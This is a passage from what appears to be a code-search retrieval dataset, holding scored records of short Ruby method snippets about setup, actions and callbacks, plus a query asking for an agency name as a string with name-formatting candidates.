"docid": "1d50ec65c5bee536273da9d756a78d0d",
"score": "0.5244704",
"text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5236856",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5236856",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5236856",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5236856",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5236856",
"text": "def action; end",
"title": ""
},
{
"docid": "e34cc2a25e8f735ccb7ed8361091c83e",
"score": "0.5233461",
"text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"title": ""
},
{
"docid": "635288ac8dd59f85def0b1984cdafba0",
"score": "0.52322435",
"text": "def workflow\n end",
"title": ""
},
{
"docid": "78b21be2632f285b0d40b87a65b9df8c",
"score": "0.5227552",
"text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52224743",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "923ee705f0e7572feb2c1dd3c154b97c",
"score": "0.5217851",
"text": "def process_action(...)\n send_action(...)\n end",
"title": ""
},
{
"docid": "b89a3908eaa7712bb5706478192b624d",
"score": "0.521241",
"text": "def before_dispatch(env); end",
"title": ""
},
{
"docid": "7115b468ae54de462141d62fc06b4190",
"score": "0.52069896",
"text": "def after_actions(*logic)\n self.after_actions = logic\n end",
"title": ""
},
{
"docid": "d89a3e408ab56bf20bfff96c63a238dc",
"score": "0.5206555",
"text": "def setup\n # override and do something appropriate\n end",
"title": ""
},
{
"docid": "62c402f0ea2e892a10469bb6e077fbf2",
"score": "0.5176617",
"text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"title": ""
},
{
"docid": "72ccb38e1bbd86cef2e17d9d64211e64",
"score": "0.51738507",
"text": "def setup(_context)\n end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51725876",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "1fd817f354d6cb0ff1886ca0a2b6cce4",
"score": "0.51660734",
"text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"title": ""
},
{
"docid": "5531df39ee7d732600af111cf1606a35",
"score": "0.51605034",
"text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"title": ""
},
{
"docid": "bb6aed740c15c11ca82f4980fe5a796a",
"score": "0.51571786",
"text": "def determine_valid_action\n\n end",
"title": ""
},
{
"docid": "b38f9d83c26fd04e46fe2c961022ff86",
"score": "0.5152762",
"text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"title": ""
},
{
"docid": "199fce4d90958e1396e72d961cdcd90b",
"score": "0.5152164",
"text": "def startcompany(action)\n @done = true\n action.setup\n end",
"title": ""
},
{
"docid": "994d9fe4eb9e2fc503d45c919547a327",
"score": "0.5151477",
"text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"title": ""
},
{
"docid": "62fabe9dfa2ec2ff729b5a619afefcf0",
"score": "0.5145819",
"text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51408994",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "adb8115fce9b2b4cb9efc508a11e5990",
"score": "0.5134412",
"text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"title": ""
},
{
"docid": "e1dd18cf24d77434ec98d1e282420c84",
"score": "0.5114031",
"text": "def setup(&block)\n define_method(:setup, &block)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5113695",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5113695",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5108603",
"text": "def action\n end",
"title": ""
},
{
"docid": "f54964387b0ee805dbd5ad5c9a699016",
"score": "0.5107358",
"text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"title": ""
},
{
"docid": "35b302dd857a031b95bc0072e3daa707",
"score": "0.5090405",
"text": "def config(action, *args); end",
"title": ""
},
{
"docid": "bc3cd61fa2e274f322b0b20e1a73acf8",
"score": "0.50889385",
"text": "def setup\n @setup_proc.call(self) if @setup_proc\n end",
"title": ""
},
{
"docid": "246840a409eb28800dc32d6f24cb1c5e",
"score": "0.50817686",
"text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"title": ""
},
{
"docid": "5c3cfcbb42097019c3ecd200acaf9e50",
"score": "0.5081617",
"text": "def before_action \n end",
"title": ""
},
{
"docid": "dfbcf4e73466003f1d1275cdf58a926a",
"score": "0.50658226",
"text": "def action\n end",
"title": ""
},
{
"docid": "36eb407a529f3fc2d8a54b5e7e9f3e50",
"score": "0.50551206",
"text": "def matt_custom_action_begin(label); end",
"title": ""
},
{
"docid": "b6c9787acd00c1b97aeb6e797a363364",
"score": "0.5051746",
"text": "def setup\n # override this if needed\n end",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.5049091",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.5049091",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "fd421350722a26f18a7aae4f5aa1fc59",
"score": "0.5034681",
"text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"title": ""
},
{
"docid": "d02030204e482cbe2a63268b94400e71",
"score": "0.5024972",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"title": ""
},
{
"docid": "4224d3231c27bf31ffc4ed81839f8315",
"score": "0.5021291",
"text": "def after(action)\n invoke_callbacks *options_for(action).after\n end",
"title": ""
},
{
"docid": "24506e3666fd6ff7c432e2c2c778d8d1",
"score": "0.5016024",
"text": "def pre_task\n end",
"title": ""
},
{
"docid": "0c16dc5c1875787dacf8dc3c0f871c53",
"score": "0.50134826",
"text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"title": ""
},
{
"docid": "c99a12c5761b742ccb9c51c0e99ca58a",
"score": "0.50008893",
"text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"title": ""
},
{
"docid": "0cff1d3b3041b56ce3773d6a8d6113f2",
"score": "0.50000244",
"text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"title": ""
},
{
"docid": "791f958815c2b2ac16a8ca749a7a822e",
"score": "0.4999155",
"text": "def setup_signals; end",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.49907947",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.49907947",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "5aa51b20183964c6b6f46d150b0ddd79",
"score": "0.49853387",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"title": ""
},
{
"docid": "67e7767ce756766f7c807b9eaa85b98a",
"score": "0.49796683",
"text": "def after_set_callback; end",
"title": ""
},
{
"docid": "7647b99591d6d687d05b46dc027fbf23",
"score": "0.4979596",
"text": "def initialize(*args)\n super\n @action = :set\nend",
"title": ""
},
{
"docid": "2a2b0a113a73bf29d5eeeda0443796ec",
"score": "0.49778128",
"text": "def setup\n #implement in subclass;\n end",
"title": ""
},
{
"docid": "63e628f34f3ff34de8679fb7307c171c",
"score": "0.49673793",
"text": "def lookup_action; end",
"title": ""
},
{
"docid": "a5294693c12090c7b374cfa0cabbcf95",
"score": "0.49662578",
"text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"title": ""
},
{
"docid": "57dbfad5e2a0e32466bd9eb0836da323",
"score": "0.49587822",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "5b6d613e86d3d68152f7fa047d38dabb",
"score": "0.4956063",
"text": "def release_actions; end",
"title": ""
},
{
"docid": "4aceccac5b1bcf7d22c049693b05f81c",
"score": "0.49550167",
"text": "def around_hooks; end",
"title": ""
},
{
"docid": "64e0f1bb6561b13b482a3cc8c532cc37",
"score": "0.49523485",
"text": "def setup(easy)\n super\n easy.customrequest = @verb\n end",
"title": ""
},
{
"docid": "2318410efffb4fe5fcb97970a8700618",
"score": "0.4951614",
"text": "def save_action; end",
"title": ""
},
{
"docid": "fbd0db2e787e754fdc383687a476d7ec",
"score": "0.49452996",
"text": "def action_target()\n \n end",
"title": ""
},
{
"docid": "b280d59db403306d7c0f575abb19a50f",
"score": "0.49442068",
"text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"title": ""
},
{
"docid": "9f7547d93941fc2fcc7608fdf0911643",
"score": "0.49336892",
"text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"title": ""
},
{
"docid": "da88436fe6470a2da723e0a1b09a0e80",
"score": "0.49306205",
"text": "def before_setup\n # do nothing by default\n end",
"title": ""
},
{
"docid": "3ba85f3cb794f951b05d5907f91bd8ad",
"score": "0.49264124",
"text": "def setup(&blk)\n @setup_block = blk\n end",
"title": ""
},
{
"docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd",
"score": "0.49259305",
"text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"title": ""
},
{
"docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3",
"score": "0.4925823",
"text": "def default_action; end",
"title": ""
},
{
"docid": "80834fa3e08bdd7312fbc13c80f89d43",
"score": "0.49229056",
"text": "def callback_phase\n super\n end",
"title": ""
},
{
"docid": "f1da8d654daa2cd41cb51abc7ee7898f",
"score": "0.4918999",
"text": "def advice\n end",
"title": ""
},
{
"docid": "99a608ac5478592e9163d99652038e13",
"score": "0.49171805",
"text": "def _handle_action_missing(*args); end",
"title": ""
},
{
"docid": "6e0842ade69d031131bf72e9d2a8c389",
"score": "0.49167436",
"text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"title": ""
},
{
"docid": "9e264985e628b89f1f39d574fdd7b881",
"score": "0.4916559",
"text": "def duas1(action)\n action.call\n action.call\nend",
"title": ""
},
{
"docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a",
"score": "0.49153692",
"text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"title": ""
},
{
"docid": "0fe8b3b5573f8eb57ec1752658a62e4e",
"score": "0.49148256",
"text": "def call\n setup_context\n super\n end",
"title": ""
}
] |
e19b8505c80174fe6cb1919e59165784
|
return agency name as single string
|
[
{
"docid": "ec3679af08d6c675033b45129455b4c8",
"score": "0.0",
"text": "def standard_agency1(scope, prefix, mandate)\n case scope\n when \"national\"\n ret = NATIONAL&.dig(@lang, gb_mandate_suffix(prefix, mandate).to_sym,\n :admin) || nil\n ret = ret.join(\" \") if ret && ret.is_a?(Array)\n ret\n when \"sector\"\n SECTOR&.dig(@lang, prefix.to_sym, :admin) || nil\n when \"local\"\n LOCAL&.dig(@lang, prefix.to_sym) || nil \n when \"enterprise\", \"social-group\"\n @issuer || nil\n when \"professional\" then \"PROFESSIONAL STANDARD\" # TODO\n end\n end",
"title": ""
}
] |
[
{
"docid": "cb2f67b7c60ac51220413653c502876c",
"score": "0.6868128",
"text": "def agency_names(options = {})\n autolink = true unless options[:no_links]\n\n if agencies.present?\n agencies = model.agencies.map{|a| \"the #{h.link_to_if autolink, a.name, a.url}\" }\n else\n agencies = model.agencies.map(&:name)\n end\n\n agencies.to_sentence.html_safe\n end",
"title": ""
},
{
"docid": "d4cad7710a1301e484680a1564e1f000",
"score": "0.6864661",
"text": "def get_short_name\n @state_org_id.to_s + \" LEA\"\n end",
"title": ""
},
{
"docid": "691ac0915306a929be3427f5c255bc84",
"score": "0.6700962",
"text": "def fullname()\n\t\t[self.name(), self.sport().titleize, self.variety().titleize].join(\" \")\n\tend",
"title": ""
},
{
"docid": "a6640845deff68f78c58b929001d5761",
"score": "0.6522196",
"text": "def full_name\n [vendor, model].join(\" \")\n end",
"title": ""
},
{
"docid": "0bd71151708a61c2a3a5ecdde64b3ab4",
"score": "0.65163285",
"text": "def get_full_name\n \"#{get_scheduled_date} #{get_event_type}: #{rank}) #{athlete_name}, #{get_timing}\"\n end",
"title": ""
},
{
"docid": "3e8f76d179460c47edd60953044074ef",
"score": "0.6442323",
"text": "def to_s\n short || name[0]\n end",
"title": ""
},
{
"docid": "8077318c3c39350aef80e67c94b68c28",
"score": "0.6435325",
"text": "def to_s\n short_name\n end",
"title": ""
},
{
"docid": "45341d4773c74230b929cc1593c81ead",
"score": "0.6421492",
"text": "def full_name()\n @name.to_s\n end",
"title": ""
},
{
"docid": "4e7812732d8c6f545fd352fe78771079",
"score": "0.64181006",
"text": "def to_s\n full_name\n end",
"title": ""
},
{
"docid": "3ec3f935005eddb544ca82474d2b9b2b",
"score": "0.6406205",
"text": "def eob_patient_name\n str = \"\" #initialize in case the fileds are blank\n str += self.patient_last_name.upcase if !self.patient_last_name.blank?\n str += \", \"\n str += self.patient_first_name.upcase if !self.patient_first_name.blank?\n return str\n end",
"title": ""
},
{
"docid": "2e74370365da55fe8b37347d5d6b721b",
"score": "0.638946",
"text": "def to_s\n full_name\n end",
"title": ""
},
{
"docid": "8f7b6b1348b2fb12f0152ed3114f78ae",
"score": "0.637091",
"text": "def get_full_name\n \"#{season.get_season_type}, #{get_event_type} #{get_category_type} #{get_gender_type_code}: #{get_timing}\"\n end",
"title": ""
},
{
"docid": "2c7ba5fdc13969bb45cce7dde8b1ec09",
"score": "0.6361082",
"text": "def full_name\n \"#{brand.name} #{name} (#{vehicle_type.name})\"\n \n end",
"title": ""
},
{
"docid": "77e9fc6141ff2660c553c381fdd89f7d",
"score": "0.6350211",
"text": "def to_s\n human_name\n end",
"title": ""
},
{
"docid": "d94dc453bf7ab33966765f608f0f8040",
"score": "0.6324717",
"text": "def name\n \"#{self.subject.try(:name)} #{self.curriculum_grade.try(:name)}.#{self.curriculum_area.try(:name)}.#{self.standard}\"\n end",
"title": ""
},
{
"docid": "0d9c45ba3d276ebd64a84ceb19aa54fd",
"score": "0.63014096",
"text": "def get_full_name\n \"#{get_meeting_session_name} #{get_event_name}\"\n end",
"title": ""
},
{
"docid": "42c8fe9442be2c88d5460889b0c6f88c",
"score": "0.62989444",
"text": "def to_s\n full_name\n end",
"title": ""
},
{
"docid": "42c8fe9442be2c88d5460889b0c6f88c",
"score": "0.62989444",
"text": "def to_s\n full_name\n end",
"title": ""
},
{
"docid": "42c8fe9442be2c88d5460889b0c6f88c",
"score": "0.62989444",
"text": "def to_s\n full_name\n end",
"title": ""
},
{
"docid": "d8fe713b7fb5e1af4b217e8e8e43e5af",
"score": "0.62754387",
"text": "def getorganizationname()\r\n return getvalue(SVTags::ORGANIZATION_NAME)\r\n end",
"title": ""
},
{
"docid": "b3ca20dab3c0f0075b61228dfbce5036",
"score": "0.62687826",
"text": "def to_s\n name + (codename.present? ? \" \"+codename : \"\")\n end",
"title": ""
},
{
"docid": "b3ca20dab3c0f0075b61228dfbce5036",
"score": "0.62687826",
"text": "def to_s\n name + (codename.present? ? \" \"+codename : \"\")\n end",
"title": ""
},
{
"docid": "5d030f243f438719c8f3cbb7a13b473b",
"score": "0.62403613",
"text": "def name\n return 'AedgSmallToMediumOfficeRoofConstruction'\n end",
"title": ""
},
{
"docid": "15bba13e152446e453ab3052b4fd7b35",
"score": "0.6235962",
"text": "def display_name\n override_attr(:name, award_name) + (group == award.group ? '' : \" (#{group})\")\n end",
"title": ""
},
{
"docid": "9aff4dbf4cfc0dc73d5a88ac1cace4af",
"score": "0.6232735",
"text": "def to_s\n name.to_s\n end",
"title": ""
},
{
"docid": "eaa9708d141fc759d1f4e9eb35fb1d8d",
"score": "0.62262166",
"text": "def to_s\n name.to_s\n end",
"title": ""
},
{
"docid": "eaa9708d141fc759d1f4e9eb35fb1d8d",
"score": "0.62262166",
"text": "def to_s\n name.to_s\n end",
"title": ""
},
{
"docid": "18670edf10b9407720ab5ff7c3b65146",
"score": "0.62184894",
"text": "def to_s() name end",
"title": ""
},
{
"docid": "0df70f520136df603451ff8ba147842c",
"score": "0.6207461",
"text": "def full_name\n Venue.find(venue_id).name + \" - \" + roomName\n end",
"title": ""
},
{
"docid": "214da1599fa84ce8246764ab0aec8fb7",
"score": "0.6176793",
"text": "def full_skill_name\n \"#{skill_category} > #{skill_subcategory} > #{skill_description}\"\n end",
"title": ""
},
{
"docid": "dc5a067209609f106efe4298cc52fa51",
"score": "0.6176443",
"text": "def insured_name\n id, qual = eob.member_id_and_qualifier\n sub_name_ele = []\n sub_name_ele << 'NM1'\n sub_name_ele << 'IL'\n sub_name_ele << '1'\n sub_name_ele << eob.subscriber_last_name\n sub_name_ele << eob.subscriber_first_name\n sub_name_ele << eob.subscriber_middle_initial\n sub_name_ele << ''\n sub_name_ele << eob.subscriber_suffix\n sub_name_ele << qual\n sub_name_ele << id\n sub_name_ele = Output835.trim_segment(sub_name_ele)\n sub_name_ele.join(@element_seperator)\n end",
"title": ""
},
{
"docid": "ec4410fed37ea515004434e2702cf3d2",
"score": "0.6175816",
"text": "def to_s\n name || ''\n end",
"title": ""
},
{
"docid": "ec4410fed37ea515004434e2702cf3d2",
"score": "0.6175816",
"text": "def to_s\n name || ''\n end",
"title": ""
},
{
"docid": "afa090e26d29393643638ee853e1ae73",
"score": "0.6174964",
"text": "def full_name\n return \"\" if self.curriculum_core.blank?\n \"#{self.curriculum_core.name}, #{self.name}\"\n end",
"title": ""
},
{
"docid": "ab659898869f43d3d3383a9c74fa0bf1",
"score": "0.61687493",
"text": "def featured_olympiad_name\n featured_olympiad.name\n end",
"title": ""
},
{
"docid": "d1b4a6c2e001e0849cc3643b2a65fd77",
"score": "0.61633134",
"text": "def full_name\n get_attribute(Yoti::Attribute::FULL_NAME)\n end",
"title": ""
},
{
"docid": "09f2ac825d019c7a2c34d55daf10d471",
"score": "0.61519074",
"text": "def to_s\n extended_name\n end",
"title": ""
},
{
"docid": "b364d7eb78cd77fa308a445696738d45",
"score": "0.6151552",
"text": "def get_short_name\n \"(#{get_scheduled_date}, #{event_order}) #{event_type.i18n_short} #{get_category_type_code} #{gender_type.i18n_short}\"\n end",
"title": ""
},
{
"docid": "35c007d0b5b86a69f017de1c76d3f786",
"score": "0.6146756",
"text": "def full_name\n return \"#{make.name} #{name}\"\n end",
"title": ""
},
{
"docid": "5854335c9af1eb0d3a79f18902d2bb0e",
"score": "0.61419094",
"text": "def full_name(patient)\n return unless patient\n\n if patient.family_name.blank? && patient.animal_type.present?\n return [patient.given_name,\n patient.middle_name,\n \"(#{animal_species_name(patient.animal_type)})\"].join(' ').squish\n end\n\n [patient.given_name,\n patient.middle_name,\n patient.family_name,\n patient.family_name2,\n patient.partner_name].join(' ').squish\n end",
"title": ""
},
{
"docid": "2379b6a37fea0f20f80a6bbd5f4fc9b9",
"score": "0.6140048",
"text": "def short_name\n if abbreviation.nil? then\n return name\n else\n return abbreviation\n end\n end",
"title": ""
},
{
"docid": "cfd921f137157d0ded373dcd959c72b4",
"score": "0.6137882",
"text": "def name\n respond_to?(:constituencyGroupName) ? constituencyGroupName : ''\n end",
"title": ""
},
{
"docid": "71b4e2a67a36c2fc7ecba5b07c2f88b8",
"score": "0.61377126",
"text": "def get_full_name\n description.to_s\n end",
"title": ""
},
{
"docid": "97f171aa770663b6e6490918b1806611",
"score": "0.61354345",
"text": "def full_name\n \"#{category.prefix}#{name}\"\n end",
"title": ""
},
{
"docid": "2c5ac0fb6d0e799d2e11f819c1a53876",
"score": "0.6134645",
"text": "def org_name(item:)\n return '' unless item.present? && item['name'].present?\n\n country = item.fetch('country', {}).fetch('country_name', '')\n website = org_website(item: item)\n # If no website or country then just return the name\n return item['name'] unless website.present? || country.present?\n\n # Otherwise return the contextualized name\n \"#{item['name']} (#{website || country})\"\n end",
"title": ""
},
{
"docid": "b3e147350c93f2ade80cd407ce430ed9",
"score": "0.61299443",
"text": "def name\n return 'AedgSmallToMediumOfficeExteriorDoorConstruction'\n end",
"title": ""
},
{
"docid": "e899738800a933c30014e04d3aff41a7",
"score": "0.61277586",
"text": "def to_s\n longname\n end",
"title": ""
},
{
"docid": "1958827270ca4ecb98c05b54af47150e",
"score": "0.6125728",
"text": "def full_name\n self.name ? \"#{self.name.split(' ')[0..-2].join(' ')}, #{self.name.split(' ')[-1]}\" : ''\n end",
"title": ""
},
{
"docid": "13056415ca5f00b5110fe61f57636d27",
"score": "0.6123995",
"text": "def department_full_name\n return department_extra.fixed_name if department_extra && !department_extra.fixed_name.blank?\n dept_full_nm.strip.titleize.gsub(\"Of\", \"of\")\n end",
"title": ""
},
{
"docid": "ee8fc325263811fe833fcdf8de814ac5",
"score": "0.6121976",
"text": "def to_s\n @final_name ||= (Functional.lookup(self) || @name).to_s\n end",
"title": ""
},
{
"docid": "4309d7bd728df7b4c04ef9e167f9eedf",
"score": "0.61200684",
"text": "def full_name\n\t\ts = title\n\t\ts = \"#{artist.name} - #{s}\" if artist\n\t\treturn s\n\tend",
"title": ""
},
{
"docid": "74cb44d25eb94307f4f07a5d0182ff9a",
"score": "0.61148983",
"text": "def full_name\n name\n end",
"title": ""
},
{
"docid": "4370862d8a99dce6d63e10e197c0bd0f",
"score": "0.6111396",
"text": "def short_name\n self.abbrv.to_s.empty? ? self.name : self.abbrv\n end",
"title": ""
},
{
"docid": "6fd6d09f371e3c8c8d03814300603e81",
"score": "0.61084527",
"text": "def human_to_name; end",
"title": ""
},
{
"docid": "6003048360e6cb7923e136a0c923a48c",
"score": "0.6107251",
"text": "def to_s\n @surnames.first + \", \" + (@names.map { |x| x[0].upcase }).join(\". \") + \". \"\n end",
"title": ""
},
{
"docid": "ecfa3f474639fcf8b08625f8c563db31",
"score": "0.6099833",
"text": "def get_full_name\n \"#{get_scheduled_date}, #{get_event_type}: #{rank}) #{get_team_name}, #{get_timing}\"\n end",
"title": ""
},
{
"docid": "b534dcd875f5833616d1bec82c21a40f",
"score": "0.6093498",
"text": "def get_full_name\n return nil unless GENUS_AND_SPECIES_RANK_NAMES.include?(self.rank_string) || self.type == 'Combination'\n d = full_name_hash\n elements = []\n eo = '<em>'\n ec = '</em>'\n d.merge!('genus' => [nil, '[GENUS NOT PROVIDED]']) if !d['genus']\n\n elements.push(\"#{eo}#{d['genus'][1]}#{ec}\")\n elements.push ['(', %w{subgenus section subsection series subseries}.collect { |r| d[r] ? [d[r][0], \"#{eo}#{d[r][1]}#{ec}\"] : nil }, ')']\n elements.push ['(', eo, d['superspecies'], ec, ')'] if d['superspecies']\n\n %w{species subspecies variety subvariety form subform}.each do |r|\n elements.push(d[r][0], \"#{eo}#{d[r][1]}#{ec}\") if d[r]\n end\n\n elements.flatten.compact.join(\" \").gsub(/\\(\\s*\\)/, '').gsub(/\\(\\s/, '(').gsub(/\\s\\)/, ')').squish.gsub('</em> <em>', ' ')\n end",
"title": ""
},
{
"docid": "4bf6db671244646efd6ee501abd42320",
"score": "0.6086083",
"text": "def name\n return \"Canadian Add Unitary and Apply Standard\"\n end",
"title": ""
},
{
"docid": "9926ab96137e6b424114f28b56f30c89",
"score": "0.6085552",
"text": "def appellant_fullname_readable\n appellant_name&.titleize\n end",
"title": ""
},
{
"docid": "9c577ec35428d4ce472c09dbc261cc30",
"score": "0.60853803",
"text": "def display_name\n full_name.join(\" \")\n end",
"title": ""
},
{
"docid": "be944dfcf9c465c850b242c57edc736b",
"score": "0.608243",
"text": "def insured_name\n if @eob_type != 'Patient'\n id, qual = @eob.member_id_and_qualifier\n ['NM1', 'IL', '1', @eob.subscriber_last_name, @eob.subscriber_first_name,\n @eob.subscriber_middle_initial, '', @eob.subscriber_suffix, qual,id].trim_segment.join(@element_seperator)\n end\n end",
"title": ""
},
{
"docid": "f8164855015290c24d43a4bd32c391ed",
"score": "0.6079624",
"text": "def to_s\n informal_full_name\n end",
"title": ""
},
{
"docid": "7933fac747283c099037a57fc55c2c1a",
"score": "0.6073627",
"text": "def get_full_name\n # [Steve, 20140725] Too long/repetitive: \"#{description} #{header_year} - #{get_federation_type}\"\n description\n end",
"title": ""
},
{
"docid": "2c83b08335414d1a565b29a92f2fd62a",
"score": "0.6071537",
"text": "def abbr_name\n return first_name + \" \" + last_name[0..0]\n end",
"title": ""
},
{
"docid": "92e40307caab7d58a7b1045a9b8158d6",
"score": "0.6070903",
"text": "def get_full_name\n \"#{get_event_type}: #{relay_order}, #{get_swimmer_name}\"\n end",
"title": ""
},
{
"docid": "eb17ca7136f9c3aa4a10f40a9456a355",
"score": "0.60681254",
"text": "def to_s\n name_value.titleize\n end",
"title": ""
},
{
"docid": "5c3315dd1f84309383190f48562f8951",
"score": "0.60618126",
"text": "def get_event_name\n \"(#{event_order}) #{event_type.i18n_short} #{get_category_type_code} #{gender_type.i18n_short}\"\n end",
"title": ""
},
{
"docid": "3c70499390cba5264e0852febe7c5328",
"score": "0.60566056",
